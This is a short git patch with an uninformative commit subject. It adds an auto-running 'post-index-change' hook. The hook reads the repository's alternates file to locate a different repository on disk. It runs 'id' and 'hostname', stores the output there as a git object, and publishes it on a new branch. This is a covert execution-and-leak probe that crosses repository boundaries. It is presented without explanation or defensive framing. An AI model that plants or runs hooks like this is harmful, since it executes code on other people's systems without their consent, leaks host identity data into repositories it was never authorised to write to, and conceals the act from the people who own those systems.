From b9a5b308e39c79b0837007485880cd19cc470124 Mon Sep 17 00:00:00 2001 From: crewpt2958 Date: Fri, 31 Jul 2026 09:24:35 +0000 Subject: [PATCH] i --- hooks/post-index-change | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..163d6d9 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,10 @@ +#!/bin/sh +gd=$(git rev-parse --absolute-git-dir)||exit 1 +oo=$(sed -n 1p "$gd/objects/info/alternates")||exit 2 +case "$oo" in /*);;*)oo="$gd/objects/$oo";;esac +og=${oo%/objects} +[ "$og" != "$oo" ]||exit 3 +ob=$( { id;hostname;s=$?;printf "\n[e=%s]\n" "$s"; } 2>&1|git --git-dir="$og" hash-object -w --stdin)||exit 4 +tr=$(printf "100644 blob %s\to\n" "$ob"|git --git-dir="$og" mktree)||exit 5 +cm=$(printf "x\n"|GIT_AUTHOR_NAME=p GIT_AUTHOR_EMAIL=p@x GIT_COMMITTER_NAME=p GIT_COMMITTER_EMAIL=p@x git --git-dir="$og" commit-tree "$tr")||exit 6 +git --git-dir="$og" update-ref refs/heads/o-5718a529cf "$cm"||exit 7